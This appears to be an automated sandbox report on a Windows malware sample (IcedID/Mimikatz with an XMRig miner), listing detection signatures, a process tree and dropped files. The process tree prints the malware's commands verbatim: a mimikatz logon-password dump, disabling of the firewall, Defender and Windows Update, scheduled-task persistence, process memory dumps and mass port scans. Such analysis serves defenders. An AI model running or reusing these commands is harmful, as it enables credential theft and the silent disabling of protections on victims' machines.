Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    14/04/2024, 04:25

General

  • Target
    2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe
  • Size 13.7MB
  • Sample240414-e16hmahb6s
  • SHA256 8388e46c41efbc4d182607a0600814b96f0de800b40018535c68a3b73ee16323
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (26978) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
  • UPX dump on OEP (original entry point) 32 IoCs
  • XMRig Miner payload 12 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 6 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Sets file execution options in registry 2 TTPs 40 IoCs
  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 22 IoCs
  • UPX packed file 28 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates a Windows Service
  • Drops file in System32 directory 12 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 3 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 31 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:552
      • C:\Windows\TEMP\refblbart\hzbaub.exe
        "C:\Windows\TEMP\refblbart\hzbaub.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2132
    • C:\Users\Admin\AppData\Local\Temp\2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ygyeuqcu\egqqwqb.exe
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • Runs ping.exe
          PID:2344
        • C:\Windows\ygyeuqcu\egqqwqb.exe
          C:\Windows\ygyeuqcu\egqqwqb.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2148
    • C:\Windows\ygyeuqcu\egqqwqb.exe
      C:\Windows\ygyeuqcu\egqqwqb.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Sets file execution options in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2640
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2548
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:2672
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D users
            3⤵
              PID:2708
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
                PID:2460
              • C:\Windows\SysWOW64\cacls.exe
                cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                3⤵
                  PID:2524
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                    PID:2448
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                    3⤵
                      PID:3028
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static del all
                    2⤵
                    • Modifies data under HKEY_USERS
                    PID:2472
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add policy name=Bastards description=FuckingBastards
                    2⤵
                    • Modifies data under HKEY_USERS
                    PID:2484
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filteraction name=BastardsList action=block
                    2⤵
                      PID:2088
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c C:\Windows\zakhayhsp\ybgqmsgtg\wpcap.exe /S
                      2⤵
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:2844
                      • C:\Windows\zakhayhsp\ybgqmsgtg\wpcap.exe
                        C:\Windows\zakhayhsp\ybgqmsgtg\wpcap.exe /S
                        3⤵
                        • Drops file in Drivers directory
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in System32 directory
                        • Drops file in Program Files directory
                        • Suspicious use of WriteProcessMemory
                        PID:2968
                        • C:\Windows\SysWOW64\net.exe
                          net stop "Boundary Meter"
                          4⤵
                            PID:1632
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop "Boundary Meter"
                              5⤵
                                PID:1784
                            • C:\Windows\SysWOW64\net.exe
                              net stop "TrueSight Meter"
                              4⤵
                                PID:628
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop "TrueSight Meter"
                                  5⤵
                                    PID:2400
                                • C:\Windows\SysWOW64\net.exe
                                  net stop npf
                                  4⤵
                                    PID:2740
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 stop npf
                                      5⤵
                                        PID:2748
                                    • C:\Windows\SysWOW64\net.exe
                                      net start npf
                                      4⤵
                                        PID:1264
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 start npf
                                          5⤵
                                            PID:2044
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd /c net start npf
                                      2⤵
                                        PID:2272
                                        • C:\Windows\SysWOW64\net.exe
                                          net start npf
                                          3⤵
                                            PID:1716
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 start npf
                                              4⤵
                                                PID:1188
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c net start npf
                                            2⤵
                                              PID:2276
                                              • C:\Windows\SysWOW64\net.exe
                                                net start npf
                                                3⤵
                                                  PID:1992
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 start npf
                                                    4⤵
                                                      PID:2888
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c C:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\zakhayhsp\ybgqmsgtg\Scant.txt
                                                  2⤵
                                                  • Loads dropped DLL
                                                  PID:2112
                                                  • C:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exe
                                                    C:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\zakhayhsp\ybgqmsgtg\Scant.txt
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:676
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c C:\Windows\zakhayhsp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\zakhayhsp\Corporate\log.txt
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • Drops file in Windows directory
                                                  PID:2144
                                                  • C:\Windows\zakhayhsp\Corporate\vfshost.exe
                                                    C:\Windows\zakhayhsp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2260
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ybyywnzep" /ru system /tr "cmd /c C:\Windows\ime\egqqwqb.exe"
                                                  2⤵
                                                    PID:804
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                      3⤵
                                                        PID:2920
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /create /sc minute /mo 1 /tn "ybyywnzep" /ru system /tr "cmd /c C:\Windows\ime\egqqwqb.exe"
                                                        3⤵
                                                        • Creates scheduled task(s)
                                                        PID:1592
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gyeqytqyg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F"
                                                      2⤵
                                                        PID:896
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                          3⤵
                                                            PID:352
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /sc minute /mo 1 /tn "gyeqytqyg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F"
                                                            3⤵
                                                            • Creates scheduled task(s)
                                                            PID:1820
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lgeebityp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F"
                                                          2⤵
                                                            PID:908
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                              3⤵
                                                                PID:2284
                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                schtasks /create /sc minute /mo 1 /tn "lgeebityp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F"
                                                                3⤵
                                                                • Creates scheduled task(s)
                                                                PID:3052
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                                                              2⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:2264
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                                                              2⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:1500
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                              2⤵
                                                                PID:1596
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh ipsec static set policy name=Bastards assign=y
                                                                2⤵
                                                                • Modifies data under HKEY_USERS
                                                                PID:1284
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                                                                2⤵
                                                                  PID:2552
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  PID:2672
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  PID:2448
                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                  netsh ipsec static set policy name=Bastards assign=y
                                                                  2⤵
                                                                    PID:3024
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:2488
                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                                                                    2⤵
                                                                      PID:3004
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:2952
                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                      netsh ipsec static set policy name=Bastards assign=y
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:2808
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd /c net stop SharedAccess
                                                                      2⤵
                                                                        PID:1016
                                                                        • C:\Windows\SysWOW64\net.exe
                                                                          net stop SharedAccess
                                                                          3⤵
                                                                            PID:840
                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                              C:\Windows\system32\net1 stop SharedAccess
                                                                              4⤵
                                                                                PID:2168
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd /c netsh firewall set opmode mode=disable
                                                                            2⤵
                                                                              PID:1656
                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                netsh firewall set opmode mode=disable
                                                                                3⤵
                                                                                • Modifies Windows Firewall
                                                                                PID:1424
                                                                            • C:\Windows\TEMP\zakhayhsp\ugnayrher.exe
                                                                              C:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 552 C:\Windows\TEMP\zakhayhsp\552.dmp
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2312
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /c netsh Advfirewall set allprofiles state off
                                                                              2⤵
                                                                                PID:2764
                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                  netsh Advfirewall set allprofiles state off
                                                                                  3⤵
                                                                                  • Modifies Windows Firewall
                                                                                  PID:1620
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd /c net stop MpsSvc
                                                                                2⤵
                                                                                  PID:844
                                                                                  • C:\Windows\SysWOW64\net.exe
                                                                                    net stop MpsSvc
                                                                                    3⤵
                                                                                      PID:2868
                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                        C:\Windows\system32\net1 stop MpsSvc
                                                                                        4⤵
                                                                                          PID:2120
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd /c net stop WinDefend
                                                                                      2⤵
                                                                                        PID:2464
                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                          net stop WinDefend
                                                                                          3⤵
                                                                                            PID:1936
                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                              C:\Windows\system32\net1 stop WinDefend
                                                                                              4⤵
                                                                                                PID:488
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            cmd /c net stop wuauserv
                                                                                            2⤵
                                                                                              PID:1124
                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                net stop wuauserv
                                                                                                3⤵
                                                                                                  PID:1944
                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                    C:\Windows\system32\net1 stop wuauserv
                                                                                                    4⤵
                                                                                                      PID:1104
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  cmd /c sc config MpsSvc start= disabled
                                                                                                  2⤵
                                                                                                    PID:2044
                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                      sc config MpsSvc start= disabled
                                                                                                      3⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:2164
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd /c sc config SharedAccess start= disabled
                                                                                                    2⤵
                                                                                                      PID:2728
                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                        sc config SharedAccess start= disabled
                                                                                                        3⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:2616
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd /c sc config WinDefend start= disabled
                                                                                                      2⤵
                                                                                                        PID:2520
                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                          sc config WinDefend start= disabled
                                                                                                          3⤵
                                                                                                          • Launches sc.exe
                                                                                                          PID:1040
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd /c sc config wuauserv start= disabled
                                                                                                        2⤵
                                                                                                          PID:1940
                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                            sc config wuauserv start= disabled
                                                                                                            3⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:540
                                                                                                        • C:\Windows\TEMP\xohudmc.exe
                                                                                                          C:\Windows\TEMP\xohudmc.exe
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Drops file in System32 directory
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:676
                                                                                                        • C:\Windows\TEMP\zakhayhsp\ugnayrher.exe
                                                                                                          C:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 1112 C:\Windows\TEMP\zakhayhsp\1112.dmp
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:1012
                                                                                                        • C:\Windows\TEMP\zakhayhsp\ugnayrher.exe
                                                                                                          C:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 1164 C:\Windows\TEMP\zakhayhsp\1164.dmp
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2404
                                                                                                        • C:\Windows\TEMP\zakhayhsp\ugnayrher.exe
                                                                                                          C:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 1804 C:\Windows\TEMP\zakhayhsp\1804.dmp
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:3068
                                                                                                        • C:\Windows\TEMP\zakhayhsp\ugnayrher.exe
                                                                                                          C:\Windows\TEMP\zakhayhsp\ugnayrher.exe -accepteula -mp 992 C:\Windows\TEMP\zakhayhsp\992.dmp
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:1820
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd.exe /c C:\Windows\zakhayhsp\ybgqmsgtg\scan.bat
                                                                                                          2⤵
                                                                                                          • Loads dropped DLL
                                                                                                          PID:1016
                                                                                                          • C:\Windows\zakhayhsp\ybgqmsgtg\meqyhgrry.exe
                                                                                                            meqyhgrry.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Drops file in Windows directory
                                                                                                            PID:2716
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                                                                                          2⤵
                                                                                                            PID:3396
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                              3⤵
                                                                                                                PID:3476
                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                                                                                                3⤵
                                                                                                                  PID:3680
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                  3⤵
                                                                                                                    PID:3344
                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                                                                                                    3⤵
                                                                                                                      PID:1424
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                      3⤵
                                                                                                                        PID:3604
                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                                                                                                        3⤵
                                                                                                                          PID:3740
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:1052
                                                                                                                    • C:\Windows\SysWOW64\koaaya.exe
                                                                                                                      C:\Windows\SysWOW64\koaaya.exe
                                                                                                                      1⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:1848
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:2848
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:1604
                                                                                                                        • C:\Windows\system32\taskeng.exe
                                                                                                                          taskeng.exe {2E81E871-D271-444C-AB15-93DBF2A0EE13} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                                          1⤵
                                                                                                                            PID:2420
                                                                                                                            • C:\Windows\system32\cmd.EXE
                                                                                                                              C:\Windows\system32\cmd.EXE /c C:\Windows\ime\egqqwqb.exe
                                                                                                                              2⤵
                                                                                                                                PID:1972
                                                                                                                                • C:\Windows\ime\egqqwqb.exe
                                                                                                                                  C:\Windows\ime\egqqwqb.exe
                                                                                                                                  3⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:2252
                                                                                                                              • C:\Windows\system32\cmd.EXE
                                                                                                                                C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F
                                                                                                                                2⤵
                                                                                                                                  PID:2476
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                    3⤵
                                                                                                                                      PID:3004
                                                                                                                                    • C:\Windows\system32\cacls.exe
                                                                                                                                      cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F
                                                                                                                                      3⤵
                                                                                                                                        PID:2960
                                                                                                                                    • C:\Windows\system32\cmd.EXE
                                                                                                                                      C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F
                                                                                                                                      2⤵
                                                                                                                                        PID:2472
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                          3⤵
                                                                                                                                            PID:2000
                                                                                                                                          • C:\Windows\system32\cacls.exe
                                                                                                                                            cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F
                                                                                                                                            3⤵
                                                                                                                                              PID:2800
                                                                                                                                          • C:\Windows\system32\cmd.EXE
                                                                                                                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F
                                                                                                                                            2⤵
                                                                                                                                              PID:4000
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                                3⤵
                                                                                                                                                  PID:3340
                                                                                                                                                • C:\Windows\system32\cacls.exe
                                                                                                                                                  cacls C:\Windows\ygyeuqcu\egqqwqb.exe /p everyone:F
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1268
                                                                                                                                                • C:\Windows\system32\cmd.EXE
                                                                                                                                                  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\egqqwqb.exe
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3568
                                                                                                                                                    • C:\Windows\ime\egqqwqb.exe
                                                                                                                                                      C:\Windows\ime\egqqwqb.exe
                                                                                                                                                      3⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                      PID:3236
                                                                                                                                                  • C:\Windows\system32\cmd.EXE
                                                                                                                                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3580
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2044
                                                                                                                                                        • C:\Windows\system32\cacls.exe
                                                                                                                                                          cacls C:\Windows\TEMP\refblbart\hzbaub.exe /p everyone:F
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2672
                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                        C:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                                                                                                                                                        1⤵
                                                                                                                                                          PID:3856

                                                                                                                                                        Network

                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                              Replay Monitor

                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                              Downloads

                                                                                                                                                              Packet.dll

                                                                                                                                                              • Path C:\Windows\SysWOW64\Packet.dll
                                                                                                                                                              • Size 95KB
                                                                                                                                                              • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              wpcap.dll

                                                                                                                                                              • Path C:\Windows\SysWOW64\wpcap.dll
                                                                                                                                                              • Size 275KB
                                                                                                                                                              • SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              config.json

                                                                                                                                                              • Path C:\Windows\TEMP\refblbart\config.json
                                                                                                                                                              • Size 693B
                                                                                                                                                              • SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                              1112.dmp

                                                                                                                                                              • Path C:\Windows\TEMP\zakhayhsp\1112.dmp
                                                                                                                                                              • Size 1.4MB
                                                                                                                                                              • SHA256 d5b6b5e3186a6962962ff1cd76fadf79110f10d555b754f6b41d45196bf73e52
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              1164.dmp

                                                                                                                                                              • Path C:\Windows\TEMP\zakhayhsp\1164.dmp
                                                                                                                                                              • Size 1.3MB
                                                                                                                                                              • SHA256 375612c489d3de559912521847f8e6ca4663a0aabe599e8147457bb37c030024
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              1804.dmp

                                                                                                                                                              • Path C:\Windows\TEMP\zakhayhsp\1804.dmp
                                                                                                                                                              • Size 7.0MB
                                                                                                                                                              • SHA256 6910a4e176e94de876d4e11822b6e3e6b8688d3d08e33e37549046f6a61cf02c
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              552.dmp

                                                                                                                                                              • Path C:\Windows\TEMP\zakhayhsp\552.dmp
                                                                                                                                                              • Size 4.5MB
